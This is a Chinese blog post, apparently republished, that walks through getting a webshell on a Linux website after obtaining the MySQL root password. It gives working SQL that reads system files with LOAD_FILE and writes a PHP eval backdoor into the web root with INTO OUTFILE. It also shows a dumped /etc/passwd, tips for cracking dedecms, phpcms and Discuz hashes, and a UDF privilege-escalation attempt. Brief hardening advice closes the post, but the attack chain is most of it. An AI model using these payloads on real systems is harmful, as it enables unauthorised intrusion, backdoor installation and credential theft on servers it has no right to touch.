利用Mysql root帐号获取某Linux操作系统网站webshell

利用Mysql root帐号获取某Linux操作系统网站webshell
simeon
获取Webshell,网上有很多文章,本文是phpMyAdmin漏洞利用与防范专题中的一个研究课题,其主要环境是在有Mysql数据库root帐号密码权限的基础下,如何通过技术手段获取Linux操作系统上建立的网站系统的webshell权限。
1.漏洞利用思路
1.1Mysql root帐号密码获取思路
(1)通过代码泄露获取网站源代码中的数据库配置文件,从而获取root帐号和密码。
(2)暴力破解,可以通过不同的字典对单个IP或者多个URL进行暴力破解,有关这个技术的实现细节和案例,请参考专题文章《暴力破解phpMyAdmin root帐号密码》。
(3)其它方式获取。例如通过社工邮件帐号,在邮件中会保存。
1.2获取网站的真实路径思路
(1)最直接获取网站真实路劲的是通过phpinfo.php也即phpinfo()函数,在其页面中会显示网站的真实物理路径。
(2)通过页面出错来获取。有些代码文件直接访问时会报错,其中会包含真实的物理路径。
(3)通过mysql load_file函数读取配置文件。其中读取非常有用的配置文件总结如下:
SELECT LOAD_FILE(’/etc/passwd’ )
/etc/passwd文件会提示网站的真实路径,然后通过读取网站默认的index.php等文件来判断是否是网站的真实目录和文件。
SELECT LOAD_FILE(’/etc/passwd’ )
SELECT LOAD_FILE(’/etc/issues’ )
SELECT LOAD_FILE(’/etc/etc/rc.local’ )
SELECT LOAD_FILE(’/usr/local/apache/conf/httpd.conf’ )
SELECT LOAD_FILE(’/etc/nginx/nginx.conf’ )
1.3获取webshell思路
1.webshell直接通过mysql查询导出,常用的语句如下:
代码利用方式一:
CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );
INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (’<?php @eval($_POST[pass]);?>’);
SELECT darkmoon1 FROM darkmoon INTO OUTFILE ‘d:/www/antian365.php’;
DROP TABLE IF EXISTS darkmoon;
代码利用方式二:
select ‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘d:/www/antian365.php’
2.通过phpmyadmin在线查看各CMS系统的管理员帐号,如果管理员密码是加密的则需要进行解密。然后通过寻找管理后台,利用可以获取webshell的方法和漏洞来获取。
技巧:
(1)dedecms系统的密码有直接md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;
(2)phpcms v9版本的密码需要加salt进行破解,需要选择破解算法md5(md5( p a s s ) . pass). salt)进行破解。
(3)Discuz!论坛帐号保存在uc_member表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如a0513df9929afc972f024fa4e586e829:399793。
2.漏洞利用实战
2.1获取root密码
通过暴力破解phpmyadmin工具获取了某IP的root帐号密码root,暴力破解有一定的局限性,但也是攻击的手段之一。
2.2扫描端口开放情况
使用Nmap对该IP地址进行全端口扫描,查看端口开放情况。如图1所示,开放了21、22、80和8080端口。22是ssh端口,80和8080可能是web端口,服务器是linux操作系统。
在这里插入图片描述
图1获取端口开放信息
2.3获取真实路径
2.3.1读取配置文件
使用获取的root帐号和密码通过phpMyAdmin登录mysql数据库进行管理,如图2所示,登录系统后,选择菜单上的“SQL”,在查询框中输入“SELECT LOAD_FILE(’/etc/passwd’ )”进行查询。
在这里插入图片描述
图2读取配置文件
在使用load_file函数读取文件内容时,在Windows环境中可能会显示正常的文件内容,在linux环境中显示的是16进制编码,单击选项对其进行设置,需要选择“完整内容”、“显示二进制内容”、“显示BLOB内容”、“以十六进制显示二进制内容”,如图3所示。
在这里插入图片描述
图3设置显示选项
选中查询结果中的十六进制代码,将其复制到记事本中并保存,其内容如下:
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a62696e3a783a313a313a62696e3a2f62696e3a2f7362696e2f6e6f6c6f67696e0a6461656d6f6e3a783a323a323a6461656d6f6e3a2f7362696e3a2f7362696e2f6e6f6c6f67696e0a61646d3a783a333a343a61646d3a2f7661722f61646d3a2f7362696e2f6e6f6c6f67696e0a6c703a783a343a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7362696e2f6e6f6c6f67696e0a73796e633a783a353a303a73796e633a2f7362696e3a2f62696e2f73796e630a73687574646f776e3a783a363a303a73687574646f776e3a2f7362696e3a2f7362696e2f73687574646f776e0a68616c743a783a373a303a68616c743a2f7362696e3a2f7362696e2f68616c740a6d61696c3a783a383a31323a6d61696c3a2f7661722f73706f6f6c2f6d61696c3a2f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31343a757563703a2f7661722f73706f6f6c2f757563703a2f7362696e2f6e6f6c6f67696e0a6f70657261746f723a783a31313a303a6f70657261746f723a2f726f6f743a2f7362696e2f6e6f6c6f67696e0a67616d65733a783a31323a3130303a67616d65733a2f7573722f67616d65733a2f7362696e2f6e6f6c6f67696e0a676f706865723a783a31333a33303a676f706865723a2f7661722f676f706865723a2f7362696e2f6e6f6c6f67696e0a6674703a783a31343a35303a46545020557365723a2f7661722f6674703a2f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a39393a39393a4e6f626f64793a2f3a2f7362696e2f6e6f6c6f67696e0a646275733a783a38313a38313a53797374656d206d657373616765206275733a2f3a2f7362696e2f6e6f6c6f67696e0a766373613a783a36393a36393a7669727475616c20636f6e736f6c65206d656d6f7279206f776e65723a2f6465763a2f7362696e2f6e6f6c6f67696e0a616272743a783a3137333a3137333a3a2f6574632f616272743a2f7362696e2f6e6f6c6f67696e0a68616c6461656d6f6e3a783a36383a36383a48414c206461656d6f6e3a2f3a2f7362696e2f6e6f6c6f67696e0a6e74703a783a33383a33383a3a2f6574632f6e74703a2f7362696e2f6e6f6c6f67696e0a7361736c617574683a783a3439393a37363a225361736c61757468642075736572223a2f7661722f656d7074792f7361736c617574683a2f7362696e2f6e6f6c6f67696e0a706f73746669783a783a38393a38393a3a2f7661722f73706f6f6c2f706f73746669783a2f7362696e2f6e6f6c6f67696e0a737368643a783a37343a37343a50726976696c6567652d736570617261746564205353483a2f7661722f656d7074792f737368643a2f7362696e2f6e6f6c6f67696e0a74637064756d703a783a37323a37323a3a2f3a2f7362696e2f6e6f6c6f67696e0a6e7363643a783a32383a32383a4e534344204461656d6f6e3a2f3a2f7362696e2f6e6f6c6f67696e0a6e736c63643a783a36353a35353a4c44415020436c69656e7420557365723a2f3a2f7362696e2f6e6f6c6f67696e0a6e67696e783a783a3439383a3439373a4e67696e7820776562207365727665723a2f7661722f6c69622f6e67696e783a2f7362696e2f6e6f6c6f67696e0a6170616368653a783a34383a34383a4170616368653a2f7661722f7777773a2f7362696e2f6e6f6c6f67696e0a6d7973716c3a783a32373a32373a4d7953514c205365727665723a2f7661722f6c69622f6d7973716c3a2f62696e2f626173680a66747075736572313a783a3530303a3530303a3a2f686f6d652f66747075736572313a2f7362696e2f6e6f6c6f67696e0a66747075736572323a783a3530313a3530313a3a2f6d79646174613a2f7362696e2f6e6f6c6f67696e0a667470757365723a783a3530323a3530323a3a2f7573722f73686172652f6e67696e782f68746d6c3a2f7362696e2f6e6f6c6f67696e0a
使用NotePad将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”,如图4所示。转换后则会显示正常的文件内容,如图5所示,显示的是linux的配置文件/etc/passwd的内容。

在这里插入图片描述
图4转换代码
在这里插入图片描述
图5读取etc/passwd文件内容
将etc/passwd文件的最后5行复制下来进行分析:
nginx❌498:497:Nginx web server:/var/lib/nginx:/sbin/nologin
apache❌48:48:Apache:/var/www:/sbin/nologin
mysql❌27:27:MySQL Server:/var/lib/mysql:/bin/bash
ftpuser1❌500:500::/home/ftpuser1:/sbin/nologin
ftpuser2❌501:501::/mydata:/sbin/nologin
ftpuser❌502:502::/usr/share/nginx/html:/sbin/nologin
在开始的时候,我分别读取/var/www/index.php、/mydata/index.php和/usr/share/nginx/html/index.php读取的内容都跟实际网站内容不一致,唯独漏过了/home/ftpuser1/index.php,后面分别读取了其nginx的配置文件,还是没有获取真实路径,后面经群里兄弟提醒,其真实路径就是/home/ftpuser1/目录。
通过select load_file(’/home/ftpuser1/index.php’)读取文件内容,如图6所示,成功获取网站首页代码内容找到真实目录。
在这里插入图片描述
图6读取网站首页代码内容
2.3.2获取webshell
在SQL中执行查询命令:
select ’<?php @eval($_POST[pass]);?> 'INTO OUTFILE ‘/home/ftpuser1/xxp.php’
查询成功,成功将一句话后门写入网站目录/home/ftpuser1下,如图7所示,Mysql查询结果显示为空,表示成功,如果无权限,则会提示无法写入文件错误。
在这里插入图片描述
图7写入一句话后面到网站文件
使用中国菜单一句话后门管理工具,直接连接,成功获取webshell,如图8所示。
在这里插入图片描述
图8成功获取webshell
2.4服务器提权
2.4.1获取操作系统位数命令
(1)getconf LONG_BIT 值为32就是32位操作系统,值为64则表示为64位操作系统
(2)file /sbin/init 如下内容显示为64位操作系统
/sbin/init: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
2.4.2查询插件位置
select @@plugin_dir; 显示结果为/usr/lib64/mysql/plugin,如图9所示。
在这里插入图片描述
图9获取mysql插件路径
2.4.3上传udf文件
将sqlmap下对应版本的lib_mysqludf_sys.so_ 文件上传到/usr/lib64/mysql/plugin目录,一般来说只有使用root权限的mysql可以利用udf提权。在本例中由于/usr/lib64/mysql/plugin设置为root权限,无法导入系统。因此提权失败。
3.防范方法
(1)使用phpinfo来查看环境变量后,尽量在用后及时将其删除,避免泄露真实路径。
(2)使用Lamp架构安装时,需要修改其默认root帐号对应的弱口令密码root。以及admin/wdlinux.cn。
(3)LAMP集成了proftpd,默认用户是nobody,密码是lamp,安装完成后也需要修改。
(4)如果不是经常使用或者必须使用phpMyadmin,则在安装完成后可删除。
(5)严格目录写权限,除文件上传目录允许写权限外,其它文件及其目录在完成配置后将其禁止写权限,并在上传目录去掉执行权限。
更多攻防内容请欢迎访问本人在csdn上面创造的个人专栏:
密码安全攻防技术精讲》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983

猜你喜欢

转载自blog.csdn.net/weixin_44023460/article/details/84898938
今日推荐